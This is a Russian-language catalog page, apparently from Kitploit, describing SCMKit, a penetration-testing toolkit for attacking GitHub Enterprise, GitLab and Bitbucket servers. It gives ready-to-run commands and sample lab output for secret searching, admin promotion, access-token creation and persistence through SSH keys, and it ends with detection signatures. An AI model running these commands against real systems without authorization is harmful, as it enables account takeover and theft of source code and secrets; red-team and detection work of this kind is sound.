Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
SCMKit — Инструментарий для атак на системы управления исходным кодом | Kitploit
Инструменты/GitHubGitHub/h4wkst3r/scmkit
Повышение привилегийРазведкаМеханизмы персистентностиТестирование на ПроникновениеRed Teaming
GitHubh4wkst3r/scmkit

SCMKit

Инструментарий для атак на системы управления исходным кодом

Репозиторий
2295413 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

SCMKit

Описание

Source Code Management Attack Toolkit — это набор инструментов для атаки на системы управления исходным кодом (SCM). SCMKit позволяет пользователю указать систему SCM и используемый модуль атаки, а также действительные учётные данные (имя пользователя/пароль или API-ключ) для соответствующей системы SCM. В настоящее время SCMKit поддерживает такие системы SCM, как GitHub Enterprise, GitLab Enterprise и Bitbucket Server. Поддерживаемые модули атаки включают разведку, повышение привилегий и закрепление. SCMKit построен по модульному принципу, чтобы в будущем сообщество специалистов по информационной безопасности могло добавлять новые модули и системы SCM.

Релиз

  • Версия 1.2 SCMKit доступна в разделе Релизы

Содержание

  • SCMKit
  • Содержание
  • Установка/Сборка
    • Используемые библиотеки
    • Предварительно скомпилированная версия
    • Сборка самостоятельно
  • Использование
    • Аргументы/Параметры
    • Системы
    • Модули
    • Таблица с описанием модулей
  • Примеры
    • Список репозиториев
    • Поиск репозиториев
    • Поиск кода
    • Поиск файлов
    • Список сниппетов
    • Список раннеров
    • Список gist
    • Список организаций
    • Получение привилегий API-ключа
    • Добавление администратора
    • Удаление администратора
    • Создание токена доступа
    • Список токенов доступа
    • Удаление токена доступа
    • Создание SSH-ключа
    • Список SSH-ключей
    • Удаление SSH-ключа
    • Статистика администратора
    • Защита веток
  • Обнаружение
  • Ссылки

Установка/Сборка

Используемые библиотеки

В этом проекте используются следующие сторонние библиотеки.

Предварительно скомпилированная версия

  • Используйте готовый бинарный файл из раздела Релизы

Сборка самостоятельно

Выполните следующие действия для настройки Visual Studio, чтобы скомпилировать проект самостоятельно. Для этого требуется библиотека .NET, которую можно установить из менеджера пакетов NuGet.

  • Откройте проект Visual Studio и перейдите в "Tools" --> "NuGet Package Manager" --> "Package Manager Settings"
  • Перейдите в "NuGet Package Manager" --> "Package Sources"
  • Добавьте источник пакетов с URL https://api.nuget.org/v3/index.json
  • Установите следующие пакеты NuGet:
    • Install-Package Costura.Fody -Version 3.3.3
    • Install-Package Octokit
    • Install-Package GitLabApiClient
    • Install-Package Newtonsoft.Json
  • Теперь вы можете собрать проект самостоятельно!

Использование

Аргументы/Параметры

  • -c, -credential — учётные данные для аутентификации (имя_пользователя:пароль или apiKey)
  • -s, -system — атакуемая система (github, gitlab, bitbucket)
  • -u, -url — URL для GitHub Enterprise, GitLab Enterprise или Bitbucket Server
  • -m, -module — запускаемый модуль
  • -o, -option — параметры (если применимо)

Системы (-s, -system)

  • github: GitHub Enterprise
  • gitlab: GitLab Enterprise
  • bitbucket: Bitbucket Server

Модули (-m, -module)

  • listrepo: вывести все репозитории, которые видит текущий пользователь
  • searchrepo: найти заданный репозиторий
  • searchcode: найти код, содержащий ключевое слово
  • searchfile: найти файлы, в имени которых содержится ключевое слово
  • listsnippet: вывести все сниппеты текущего пользователя
  • listrunner: вывести все раннеры GitLab, доступные текущему пользователю
  • listgist: вывести все gist текущего пользователя
  • listorg: вывести все организации, в которых состоит текущий пользователь
  • privs: получить привилегии текущего API-токена
  • addadmin: повысить указанного пользователя до роли администратора
  • removeadmin: понизить указанного пользователя с роли администратора
  • createpat: создать персональный токен доступа для целевого пользователя
  • listpat: вывести персональные токены доступа для целевого пользователя
  • removepat: удалить персональный токен доступа для целевого пользователя
  • createsshkey: создать SSH-ключ для текущего пользователя
  • listsshkey: вывести SSH-ключи для текущего пользователя
  • removesshkey: удалить SSH-ключ для текущего пользователя
  • adminstats: получить статистику администратора (пользователи, репозитории, организации, gist)
  • protection: получить настройки защиты веток

Таблица с описанием модулей

В таблице ниже показано, в каких системах поддерживается каждый модуль

Примеры

Список репозиториев

Сценарий использования

Обнаружение репозиториев, используемых в конкретной системе SCM

Синтаксис

Укажите модуль listrepo, а также соответствующую информацию для аутентификации и URL. Будет выведено имя репозитория и его URL.

GitHub Enterprise

Это выведет все репозитории, которые видит пользователь.

SCMKit.exe -s github -m listrepo -c userName:password -u https://github.something.local

SCMKit.exe -s github -m listrepo -c apiKey -u https://github.something.local

GitLab Enterprise

Это выведет все репозитории, которые видит пользователь.

SCMKit.exe -s gitlab -m listrepo -c userName:password -u https://gitlab.something.local

SCMKit.exe -s gitlab -m listrepo -c apiKey -u https://gitlab.something.local

Bitbucket Server

Это выведет все репозитории, которые видит пользователь.

SCMKit.exe -s bitbucket -m listrepo -c userName:password -u https://bitbucket.something.local

SCMKit.exe -s bitbucket -m listrepo -c apiKey -u https://bitbucket.something.local

Пример вывода```

C:>SCMKit.exe -s gitlab -m listrepo -c username:password -u https://gitlab.hogwarts.local

================================================== Module: listrepo System: gitlab Auth Type: Username/Password Options: Target URL: https://gitlab.hogwarts.local

Timestamp: 1/14/2022 8:30:47 PM

root@kitploit:~
                                Name | Visibility |                                                URL

root@kitploit:~
                        MaraudersMap |    Private | https://gitlab.hogwarts.local/hpotter/maraudersmap
                        testingStuff |   Internal | https://gitlab.hogwarts.local/adumbledore/testingstuff
                           Spellbook |   Internal |    https://gitlab.hogwarts.local/hpotter/spellbook
   findShortestPathToGryffindorSword |   Internal | https://gitlab.hogwarts.local/hpotter/findShortestPathToGryffindorSword
                              charms |     Public |      https://gitlab.hogwarts.local/hgranger/charms
                       Secret-Spells |   Internal | https://gitlab.hogwarts.local/adumbledore/secret-spells
                          Monitoring |   Internal | https://gitlab.hogwarts.local/gitlab-instance-10590c85/Monitoring
root@kitploit:~
### Поиск репозиториев

#### Сценарий использования

> *Поиск репозиториев по имени в конкретной системе SCM*

#### Синтаксис

Укажите модуль `searchrepo` и критерии поиска в параметре командной строки `-o`, а также соответствующую информацию для аутентификации и URL. Результатом будет вывод имени и URL совпадающего репозитория.

##### GitHub Enterprise

Поиск репозиториев в GitHub — это поиск по "вхождению", где введённая строка ищет репозитории, имена которых содержат ваш поисковый запрос.

`SCMKit.exe -s github -m searchrepo -c userName:password -u https://github.something.local -o "some search term"`

`SCMKit.exe -s github -m searchrepo -c apikey -u https://github.something.local -o "some search term"`

##### GitLab Enterprise

Поиск репозиториев в GitLab — это поиск по "вхождению", где введённая строка ищет репозитории, имена которых содержат ваш поисковый запрос.

`SCMKit.exe -s gitlab -m searchrepo -c userName:password -u https://gitlab.something.local -o "some search term"`

`SCMKit.exe -s gitlab -m searchrepo -c apikey -u https://gitlab.something.local -o "some search term"`

##### Bitbucket Server

Поиск репозиториев в Bitbucket — это поиск по "начинается с", где введённая строка ищет репозитории, имена которых начинаются с вашего поискового запроса.

`SCMKit.exe -s bitbucket -m searchrepo -c userName:password -u https://bitbucket.something.local -o "some search term"`

`SCMKit.exe -s bitbucket -m searchrepo -c apikey -u https://bitbucket.something.local -o "some search term"`

#### Пример вывода```

C:\>SCMKit.exe -s gitlab -m searchrepo -c apiKey -u https://gitlab.hogwarts.local -o "spell"

==================================================
Module:         searchrepo
System:         gitlab
Auth Type:      API Key
Options:        spell
Target URL:     https://gitlab.hogwarts.local

Timestamp:      1/14/2022 8:32:30 PM
==================================================

                                    Name | Visibility |                                                URL
----------------------------------------------------------------------------------------------------------
                               Spellbook |   Internal |    https://gitlab.hogwarts.local/hpotter/spellbook
                           Secret-Spells |   Internal | https://gitlab.hogwarts.local/adumbledore/secret-spells

Search Code

Use Case

Поиск кода, содержащего заданное ключевое слово, в конкретной системе SCM

Syntax

Укажите модуль searchcode и критерии поиска в параметре командной строки -o, а также соответствующую информацию для аутентификации и URL. Результатом будет вывод URL соответствующего файла кода и строки кода, в которой найдено совпадение.

GitHub Enterprise

Поиск кода в GitHub — это поиск "содержит", где введённая строка будет искать код, содержащий ваш поисковый запрос в любой строке.

SCMKit.exe -s github -m searchcode -c userName:password -u https://github.something.local -o "some search term"

SCMKit.exe -s github -m searchcode -c apikey -u https://github.something.local -o "some search term"

GitLab Enterprise

Поиск кода в GitLab — это поиск "содержит", где введённая строка будет искать код, содержащий ваш поисковый запрос в любой строке.

SCMKit.exe -s gitlab -m searchcode -c userName:password -u https://gitlab.something.local -o "some search term"

SCMKit.exe -s gitlab -m searchcode -c apikey -u https://gitlab.something.local -o "some search term"

Bitbucket Server

Поиск кода в Bitbucket — это поиск "содержит", где введённая строка будет искать код, содержащий ваш поисковый запрос в любой строке.

SCMKit.exe -s bitbucket -m searchcode -c userName:password -u https://bitbucket.something.local -o "some search term"

SCMKit.exe -s bitbucket -m searchcode -c apikey -u https://bitbucket.something.local -o "some search term"

Example Output```

C:>SCMKit.exe -s gitlab -m searchcode -c username:password -u https://gitlab.hogwarts.local -o "api_key"

================================================== Module: searchcode System: gitlab Auth Type: Username/Password Options: api_key Target URL: https://gitlab.hogwarts.local

Timestamp: 1/14/2022 8:34:14 PM

[>] URL: https://gitlab.hogwarts.local/adumbledore/secret-spells/stuff.txt |_ API_KEY=abc123

Total number of items matching code search: 1

root@kitploit:~
### Поиск файлов

#### Вариант использования

> *Поиск файлов в репозиториях, содержащих заданное ключевое слово в имени файла в определенной системе SCM*

#### Синтаксис

Укажите модуль `searchfile` и критерии поиска в параметре командной строки `-o`, а также соответствующую информацию для аутентификации и URL. Это выведет URL соответствующего файла в его репозитории.

##### GitHub Enterprise

Поиск файлов GitLab — это поиск по вхождению, при котором введенная строка ищет файлы, содержащие ваш поисковый запрос в имени файла.

`SCMKit.exe -s github -m searchfile -c userName:password -u https://github.something.local -o "some search term"`

`SCMKit.exe -s github -m searchfile -c apikey -u https://github.something.local -o "some search term"`

##### GitLab Enterprise

Поиск файлов GitLab — это поиск по вхождению, при котором введенная строка ищет файлы, содержащие ваш поисковый запрос в имени файла.

`SCMKit.exe -s gitlab -m searchfile -c userName:password -u https://gitlab.something.local -o "some search term"`

`SCMKit.exe -s gitlab -m searchfile -c apikey -u https://gitlab.something.local -o "some search term"`

##### Bitbucket Server

Поиск файлов Bitbucket — это поиск по вхождению, при котором введенная строка ищет файлы, содержащие ваш поисковый запрос в имени файла.

`SCMKit.exe -s bitbucket -m searchfile -c userName:password -u https://bitbucket.something.local -o "some search term"`

`SCMKit.exe -s bitbucket -m searchfile -c apikey -u https://bitbucket.something.local -o "some search term"`

#### Пример вывода```

C:\source\SCMKit\SCMKit\bin\Release>SCMKit.exe -s bitbucket -m searchfile -c apikey -u http://bitbucket.hogwarts.local:7990 -o jenkinsfile

==================================================
Module:         searchfile
System:         bitbucket
Auth Type:      API Key
Options:        jenkinsfile
Target URL:     http://bitbucket.hogwarts.local:7990

Timestamp:      1/14/2022 10:17:59 PM
==================================================


[>] REPO: http://bitbucket.hogwarts.local:7990/scm/~HPOTTER/hpotter
    [>] FILE: Jenkinsfile

[>] REPO: http://bitbucket.hogwarts.local:7990/scm/STUD/cred-decryption
    [>] FILE: subDir/Jenkinsfile

Total matching results: 2

Список сниппетов

Сценарий использования

Список сниппетов, принадлежащих текущему пользователю в GitLab

Синтаксис

Укажите модуль listsnippet, а также соответствующие данные аутентификации и URL.

GitLab Enterprise

SCMKit.exe -s gitlab -m listsnippet -c userName:password -u https://gitlab.something.local

SCMKit.exe -s gitlab -m listsnippet -c apikey -u https://gitlab.something.local

Пример вывода```

C:>SCMKit.exe -s gitlab -m listsnippet -c username:password -u https://gitlab.hogwarts.local

================================================== Module: listsnippet System: gitlab Auth Type: Username/Password Options: Target URL: https://gitlab.hogwarts.local

Timestamp: 1/14/2022 9:17:36 PM

root@kitploit:~
           Title |                                                                Raw URL

root@kitploit:~
    spell-script |                         https://gitlab.hogwarts.local/-/snippets/2/raw
root@kitploit:~
### Список раннеров

#### Вариант использования

> *Перечислить все раннеры GitLab, доступные текущему пользователю в GitLab*

#### Синтаксис

Укажите модуль `listrunner`, а также соответствующую информацию для аутентификации и URL. Если пользователь является администратором, вы сможете перечислить все раннеры в экземпляре GitLab Enterprise, включая общие и групповые раннеры.

##### GitLab Enterprise

`SCMKit.exe -s gitlab -m listrunner -c userName:password -u https://gitlab.something.local`

`SCMKit.exe -s gitlab -m listrunner -c apikey -u https://gitlab.something.local`

#### Пример вывода```

C:\>SCMKit.exe -s gitlab -m listrunner -c username:password -u https://gitlab.hogwarts.local

==================================================
Module:         listrunner
System:         gitlab
Auth Type:      Username/Password
Options:
Target URL:     https://gitlab.hogwarts.local

Timestamp:      1/25/2022 11:40:08 AM
==================================================

   ID |                 Name |                                      Repo Assigned
---------------------------------------------------------------------------------
    2 |        gitlab-runner | https://gitlab.hogwarts.local/hpotter/spellbook.git
    3 |        gitlab-runner | https://gitlab.hogwarts.local/hpotter/maraudersmap.git
    

Список Gist'ов

Вариант использования

Список gist'ов, принадлежащих текущему пользователю в GitHub

Синтаксис

Укажите модуль listgist, а также соответствующие данные аутентификации и URL.

GitHub Enterprise

SCMKit.exe -s github -m listgist -c userName:password -u https://github.something.local

SCMKit.exe -s github -m listgist -c apikey -u https://github.something.local

Пример вывода```

C:>SCMKit.exe -s github -m listgist -c username:password -u https://github-enterprise.hogwarts.local

================================================== Module: listgist System: github Auth Type: Username/Password Options: Target URL: https://github-enterprise.hogwarts.local

Timestamp: 1/14/2022 9:43:23 PM

root@kitploit:~
                         Description | Visibility |                                                URL

root@kitploit:~
        Shell Script to Decode Spell |     public | https://github-enterprise.hogwarts.local/gist/c11c6bb3f47fe67183d5bc9f048412a1
        
root@kitploit:~
### Список организаций

#### Вариант использования

> *Вывести список всех организаций, в которых состоит текущий пользователь на GitHub*

#### Синтаксис

Укажите модуль `listorg`, а также соответствующие данные аутентификации и URL.

##### GitHub Enterprise

`SCMKit.exe -s github -m listorg -c userName:password -u https://github.something.local`

`SCMKit.exe -s github -m listorg -c apiKey -u https://github.something.local`

#### Пример вывода```

C:\>SCMKit.exe -s github -m listorg -c username:password -u https://github-enterprise.hogwarts.local

==================================================
Module:         listorg
System:         github
Auth Type:      Username/Password
Options:
Target URL:     https://github-enterprise.hogwarts.local

Timestamp:      1/14/2022 9:44:48 PM
==================================================

                          Name |                                                URL
-----------------------------------------------------------------------------------
                      Hogwarts | https://github-enterprise.hogwarts.local/api/v3/orgs/Hogwarts/repos
                      

Получение привилегий токена API

Вариант использования

Получить назначенные привилегии для токена доступа, используемого в конкретной системе SCM

Синтаксис

Укажите модуль privs, а также ключ API и URL.

GitHub Enterprise

SCMKit.exe -s github -m privs -c apiKey -u https://github.something.local

GitLab Enterprise

SCMKit.exe -s gitlab -m privs -c apiKey -u https://gitlab.something.local

Пример вывода```

C:>SCMKit.exe -s gitlab -m privs -c apikey -u https://gitlab.hogwarts.local

================================================== Module: privs System: gitlab Auth Type: API Key Options: Target URL: https://gitlab.hogwarts.local

Timestamp: 1/14/2022 9:18:27 PM

root@kitploit:~
      Token Name |    Active? |            Privilege |                                                            Description

hgranger-api-token | True | api | Read-write for the complete API, including all groups and projects, the Container Registry, and the Package Registry. hgranger-api-token | True | read_user | Read-only for endpoints under /users. Essentially, access to any of the GET requests in the Users API. hgranger-api-token | True | read_api | Read-only for the complete API, including all groups and projects, the Container Registry, and the Package Registry. hgranger-api-token | True | read_repository | Read-only (pull) for the repository through git clone. hgranger-api-token | True | write_repository | Read-write (pull, push) for the repository through git clone. Required for accessing Git repositories over HTTP when 2FA is enabled.

root@kitploit:~
### Добавление администратора

#### Вариант использования

> *Повышение обычного пользователя до административной роли в конкретной системе SCM*

#### Синтаксис

Укажите модуль `addadmin`, а также соответствующие данные аутентификации и URL. Дополнительно укажите целевого пользователя, которому вы хотите назначить административную роль.

##### GitHub Enterprise

`SCMKit.exe -s github -m addadmin -c userName:password -u https://github.something.local -o targetUserName`

`SCMKit.exe -s github -m addadmin -c apikey -u https://github.something.local -o targetUserName`

##### GitLab Enterprise

`SCMKit.exe -s gitlab -m addadmin -c userName:password -u https://gitlab.something.local -o targetUserName`

`SCMKit.exe -s gitlab -m addadmin -c apikey -u https://gitlab.something.local -o targetUserName`

##### Bitbucket Server

Для выполнения действий, не связанных с репозиториями или проектами в Bitbucket, поддерживается только аутентификация по имени пользователя и паролю.

`SCMKit.exe -s bitbucket -m addadmin -c userName:password -u https://bitbucket.something.local -o targetUserName`

#### Пример вывода```

C:\>SCMKit.exe -s gitlab -m addadmin -c apikey -u https://gitlab.hogwarts.local -o hgranger

==================================================
Module:         addadmin
System:         gitlab
Auth Type:      API Key
Options:        hgranger
Target URL:     https://gitlab.hogwarts.local

Timestamp:      1/14/2022 9:19:32 PM
==================================================


[+] SUCCESS: The hgranger user was successfully added to the admin role.

Удаление администратора

Вариант использования

Понижение административного пользователя до роли обычного пользователя в определенной системе SCM

Синтаксис

Укажите модуль removeadmin, а также соответствующие данные аутентификации и URL. Дополнительно укажите целевого пользователя, у которого вы хотите удалить административную роль.

GitHub Enterprise

SCMKit.exe -s github -m removeadmin -c userName:password -u https://github.something.local -o targetUserName

SCMKit.exe -s github -m removeadmin -c apikey -u https://github.something.local -o targetUserName

GitLab Enterprise

SCMKit.exe -s gitlab -m removeadmin -c userName:password -u https://gitlab.something.local -o targetUserName

SCMKit.exe -s gitlab -m removeadmin -c apikey -u https://gitlab.something.local -o targetUserName

Bitbucket Server

Поддерживается только аутентификация по имени пользователя и паролю для выполнения действий, не связанных с репозиториями или проектами в Bitbucket.

SCMKit.exe -s bitbucket -m removeadmin -c userName:password -u https://bitbucket.something.local -o targetUserName

Пример вывода```

C:>SCMKit.exe -s gitlab -m removeadmin -c username:password -u https://gitlab.hogwarts.local -o hgranger

================================================== Module: removeadmin System: gitlab Auth Type: Username/Password Options: hgranger Target URL: https://gitlab.hogwarts.local

Timestamp: 1/14/2022 9:20:12 PM

[+] SUCCESS: The hgranger user was successfully removed from the admin role.

root@kitploit:~
### Создать токен доступа

#### Использование

> *Создать токен доступа для использования в конкретной SCM-системе*

#### Синтаксис

Укажите модуль `createpat`, а также соответствующую информацию аутентификации и URL. Дополнительно укажите целевого пользователя, для которого вы хотите создать токен доступа.

##### GitLab Enterprise

Эту операцию может выполнить только администратор. Вы укажете имя пользователя, для которого хотите создать PAT.

`SCMKit.exe -s gitlab -m createpat -c userName:password -u https://gitlab.something.local -o targetUserName`

`SCMKit.exe -s gitlab -m createpat -c apikey -u https://gitlab.something.local -o targetUserName`

##### Bitbucket Server

Создаёт PAT для аутентифицирующегося текущего пользователя. В Bitbucket нельзя создать PAT для другого пользователя, даже будучи администратором. Поддерживается только аутентификация по имени пользователя и паролю для выполнения действий, не связанных с репозиториями или проектами в Bitbucket. Запомните ID PAT, который отображается после создания. Он понадобится вам, когда потребуется удалить PAT в будущем.

`SCMKit.exe -s bitbucket -m createpat -c userName:password -u https://bitbucket.something.local `

#### Пример вывода```

C:\>SCMKit.exe -s gitlab -m createpat -c username:password -u https://gitlab.hogwarts.local -o hgranger

==================================================
Module:         createpat
System:         gitlab
Auth Type:      Username/Password
Options:        hgranger
Target URL:     https://gitlab.hogwarts.local

Timestamp:      1/20/2022 1:51:23 PM
==================================================

   ID |         Name |                          Token
-----------------------------------------------------
   59 | SCMKIT-AaCND |           R3ySx_8HUn6UQ_6onETx

[+] SUCCESS: The hgranger user personal access token was successfully added.


Список токенов доступа

Сценарий использования

Список токенов доступа для пользователя в определённой системе SCM

Синтаксис

Укажите модуль listpat, а также соответствующую информацию для аутентификации и URL.

GitLab Enterprise

Требует прав администратора только если необходимо вывести PAT другого пользователя. Обычный пользователь может вывести свои собственные PAT.

SCMKit.exe -s gitlab -m listpat -c userName:password -u https://gitlab.something.local -o targetUser

SCMKit.exe -s gitlab -m listpat -c apikey -u https://gitlab.something.local -o targetUser

Bitbucket Server

Список токенов доступа для текущего пользователя. Поддерживается только аутентификация по имени пользователя и паролю для выполнения действий, не связанных с репозиториями или проектами в Bitbucket.

SCMKit.exe -s bitbucket -m listpat -c userName:password -u https://bitbucket.something.local

Список токенов доступа для другого пользователя (требуются права администратора). Поддерживается только аутентификация по имени пользователя и паролю для выполнения действий, не связанных с репозиториями или проектами в Bitbucket.

SCMKit.exe -s bitbucket -m listpat -c userName:password -u https://bitbucket.something.local -o targetUser

Пример вывода```

C:>SCMKit.exe -s gitlab -m listpat -c username:password -u https://gitlab.hogwarts.local -o hgranger

================================================== Module: listpat System: gitlab Auth Type: Username/Password Options: hgranger Target URL: https://gitlab.hogwarts.local

Timestamp: 1/20/2022 1:54:41 PM

ID | Name | Active? | Scopes

59 | SCMKIT-AaCND | True | api, read_repository, write_repository

root@kitploit:~
### Удалить токен доступа

#### Вариант использования

> *Удалить токен доступа для пользователя в определенной системе SCM*

#### Синтаксис

Укажите модуль `removepat`, а также соответствующие данные аутентификации и URL. Кроме того, укажите ID целевого PAT пользователя, для которого вы хотите удалить токен доступа.

##### GitLab Enterprise

Требует прав администратора только если вы хотите удалить PAT другого пользователя. Обычный пользователь может удалить свой собственный PAT. Вы должны указать ID PAT для удаления. Этот ID отображался при создании PAT, а также при выводе списка PAT.

`SCMKit.exe -s gitlab -m removepat -c userName:password -u https://gitlab.something.local -o patID`

`SCMKit.exe -s gitlab -m removepat -c apikey -u https://gitlab.something.local -o patID`

##### Bitbucket Server

Поддерживается только аутентификация по имени пользователя/паролю для выполнения действий, не связанных с репозиториями или проектами в Bitbucket. Вы должны указать ID PAT для удаления. Этот ID отображался при создании PAT.

`SCMKit.exe -s bitbucket -m removepat -c userName:password -u https://bitbucket.something.local -o patID`

#### Пример вывода```

C:\>SCMKit.exe -s gitlab -m removepat -c apikey -u https://gitlab.hogwarts.local -o 58

==================================================
Module:         removepat
System:         gitlab
Auth Type:      API Key
Options:        59
Target URL:     https://gitlab.hogwarts.local

Timestamp:      1/20/2022 1:56:47 PM
==================================================



[*] INFO: Revoking personal access token of ID: 59


[+] SUCCESS: The personal access token of ID 59 was successfully revoked.

Создать SSH-ключ

Сценарий использования

Создание SSH-ключа для использования в определённой системе управления исходным кодом (SCM)

Синтаксис

Укажите модуль createsshkey, а также соответствующую информацию для аутентификации и URL.

GitHub Enterprise

Создаёт SSH-ключ для текущего аутентифицированного пользователя.

SCMKit.exe -s github -m createsshkey -c userName:password -u https://github.something.local -o "ssh public key"

SCMKit.exe -s github -m createsshkey -c apiToken -u https://github.something.local -o "ssh public key"

GitLab Enterprise

Создаёт SSH-ключ для текущего аутентифицированного пользователя. Запомните идентификатор SSH-ключа, который отобразится после создания. Он понадобится вам для удаления SSH-ключа в будущем.

SCMKit.exe -s gitlab -m createsshkey -c userName:password -u https://gitlab.something.local -o "ssh public key"

SCMKit.exe -s gitlab -m createsshkey -c apiToken -u https://gitlab.something.local -o "ssh public key"

Bitbucket Server

Создаёт SSH-ключ для текущего аутентифицированного пользователя. В Bitbucket поддерживается только аутентификация по имени пользователя и паролю для выполнения действий, не связанных с репозиториями или проектами. Запомните идентификатор SSH-ключа, который отобразится после создания. Он понадобится вам для удаления SSH-ключа в будущем.

SCMKit.exe -s bitbucket -m createsshkey -c userName:password -u https://bitbucket.something.local -o "ssh public key"

Пример вывода```

C:>SCMKit.exe -s bitbucket -m createsshkey -c username:password -u https://bitbucket.hogwarts.local -o "ssh-rsa..."

================================================== Module: createsshkey System: bitbucket Auth Type: Username/Password Options: ssh-rsa ... Target URL: http://bitbucket.hogwarts.local:7990

Timestamp: 2/7/2022 1:02:31 PM

SSH Key ID

root@kitploit:~
      16

[+] SUCCESS: The hpotter user SSH key was successfully added.

root@kitploit:~
### Список SSH-ключей

#### Вариант использования

> *Вывести список SSH-ключей для пользователя в определённой системе SCM*

#### Синтаксис

Укажите модуль `listsshkey`, а также соответствующую аутентификационную информацию и URL.

##### GitHub Enterprise

Вывести список SSH-ключей для текущего пользователя. Будут включены идентификаторы SSH-ключей, которые необходимы для удаления ключа.

`SCMKit.exe -s github -m listsshkey -c userName:password -u https://github.something.local`

`SCMKit.exe -s github -m listsshkey -c apiToken -u https://github.something.local`

##### GitLab Enterprise

Вывести список SSH-ключей для текущего пользователя.

`SCMKit.exe -s gitlab -m listsshkey -c userName:password -u https://gitlab.something.local`

`SCMKit.exe -s gitlab -m listsshkey -c apiToken -u https://gitlab.something.local`

##### Bitbucket Server

Вывести список SSH-ключей для текущего пользователя. Для выполнения действий, не связанных с репозиториями или проектами в Bitbucket, поддерживается только аутентификация по имени пользователя и паролю.

`SCMKit.exe -s bitbucket -m listsshkey -c userName:password -u https://bitbucket.something.local`

#### Пример вывода```

C:\>SCMKit.exe -s gitlab -m listsshkey -u http://gitlab.hogwarts.local -c apiToken

==================================================
Module:         listsshkey
System:         gitlab
Auth Type:      API Key
Options:
Target URL:     https://gitlab.hogwarts.local

Timestamp:      2/7/2022 4:09:40 PM
==================================================

  SSH Key ID |             SSH Key Value |                Title
---------------------------------------------------------------
           9 | .....p50edigBAF4lipVZkAM= |         SCMKIT-RLzie
          10 | .....vGJLPGHiTwIxW9i+xAs= |         SCMKIT-muFGU
    

Remove SSH Key

Use Case

Удаление SSH-ключа для пользователя в определенной системе SCM

Syntax

Укажите модуль removesshkey вместе с соответствующими данными аутентификации и URL. Также укажите идентификатор SSH-ключа целевого пользователя для удаления.

GitHub Enterprise

Вы должны указать идентификатор SSH-ключа для удаления. Этот идентификатор отображается при выводе списка SSH-ключей.

SCMKit.exe -s github -m removesshkey -c userName:password -u https://github.something.local -o sshKeyID

SCMKit.exe -s github -m removesshkey -c apiToken -u https://github.something.local -o sshKeyID

GitLab Enterprise

Вы должны указать идентификатор SSH-ключа для удаления. Этот идентификатор отображается при создании SSH-ключа, а также при выводе списка SSH-ключей.

SCMKit.exe -s gitlab -m removesshkey -c userName:password -u https://gitlab.something.local -o sshKeyID

SCMKit.exe -s gitlab -m removesshkey -c apiToken -u https://gitlab.something.local -o sshKeyID

Bitbucket Server

Для выполнения действий, не связанных с репозиториями или проектами в Bitbucket, поддерживается только аутентификация по имени пользователя/паролю. Вы должны указать идентификатор SSH-ключа для удаления. Этот идентификатор отображается при создании SSH-ключа, а также при выводе списка SSH-ключей.

SCMKit.exe -s bitbucket -m removesshkey -c userName:password -u https://bitbucket.something.local -o sshKeyID

Example Output```

C:>SCMKit.exe -s bitbucket -m removesshkey -u http://bitbucket.hogwarts.local:7990 -c username:password -o 16

================================================== Module: removesshkey System: bitbucket Auth Type: Username/Password Options: 16 Target URL: http://bitbucket.hogwarts.local:7990

Timestamp: 2/7/2022 1:48:03 PM

[+] SUCCESS: The SSH key of ID 16 was successfully revoked.

root@kitploit:~
### Список статистики администратора

#### Сценарий использования

> *Получение статистики администратора в GitHub Enterprise*

#### Синтаксис

Укажите модуль `adminstats`, а также соответствующую информацию аутентификации и URL. Для использования этого модуля требуется доступ администратора сайта в GitHub Enterprise.

##### GitHub Enterprise

`SCMKit.exe -s github -m adminstats -c userName:password -u https://github.something.local`

`SCMKit.exe -s github -m adminstats -c apikey -u https://github.something.local`

#### Пример вывода```

C:\>SCMKit.exe -s github -m adminstats -c username:password -u https://github-enterprise.hogwarts.local

==================================================
Module:         adminstats
System:         github
Auth Type:      Username/Password
Options:
Target URL:     https://github-enterprise.hogwarts.local

Timestamp:      1/14/2022 9:45:50 PM
==================================================

     Admin Users |  Suspended Users |      Total Users
------------------------------------------------------
               1 |                0 |                5


     Total Repos |      Total Wikis
-----------------------------------
               4 |                0


      Total Orgs |   Total Team Members |      Total Teams
----------------------------------------------------------
               1 |                    0 |                0


   Private Gists |     Public Gists
-----------------------------------
               0 |                1
               

Список защиты ветвей

Вариант использования

Просмотр защиты ветвей в GitHub Enterprise

Синтаксис

Укажите модуль protection, а также любую соответствующую информацию аутентификации и URL. При желании укажите строку в параметре options, чтобы вернуть совпадающие результаты, содержащиеся в именах репозиториев.

GitHub Enterprise

SCMKit.exe -s github -m protection -c userName:password -u https://github.something.local

SCMKit.exe -s github -m protection -c apikey -u https://github.something.local

SCMKit.exe -s github -m protection -c apikey -u https://github.something.local -o reponame

Пример вывода```

C:>.\SCMKit.exe -u http://github.hogwarts.local -s github -c apiToken -m protection -o public-r

================================================== Module: protection System: github Auth Type: API Key Options: public-r Target URL: http://github.hogwarts.local

Timestamp: 8/29/2022 2:02:42 PM

root@kitploit:~
                 Repo |                    Branch |                                         Protection

root@kitploit:~
          public-repo |                       dev | Protected: True
                                                    Status checks must pass before merge:
                                                      Branch must be up-to-date before merge: True
                                                    Owner review required before merge: True
                                                    Approvals required before merge: 2
                                                    Protections apply to repo admins: True
          public-repo |                      main | Protected: False
root@kitploit:~
## Обнаружение

Ниже приведены статические сигнатуры для конкретного использования этого инструмента в его состоянии по умолчанию:

* Project GUID - `{266C644A-69B1-426B-A47C-1CF32B211F80}`
  * См. [SCMKit Yara Rule](https://github.com/h4wkst3r/scmkit/blob/main/Detections/SCMKit.yar) в этом репозитории.
* Строка User-Agent - `SCMKIT-5dc493ada400c79dd318abbe770dac7c`
  * См. [SCMKit Snort Rule](https://github.com/h4wkst3r/scmkit/blob/main/Detections/SCMKit.rules) в этом репозитории.
* Имена токенов доступа и SSH-ключей - Токены доступа и SSH-ключи, созданные с помощью инструмента, получают префикс `SCMKIT-` в имени.

Руководство по обнаружению методов, используемых инструментом, см. в [блог-посте](https://securityintelligence.com/posts/abusing-source-code-management-systems) X-Force Red.

## Ссылки
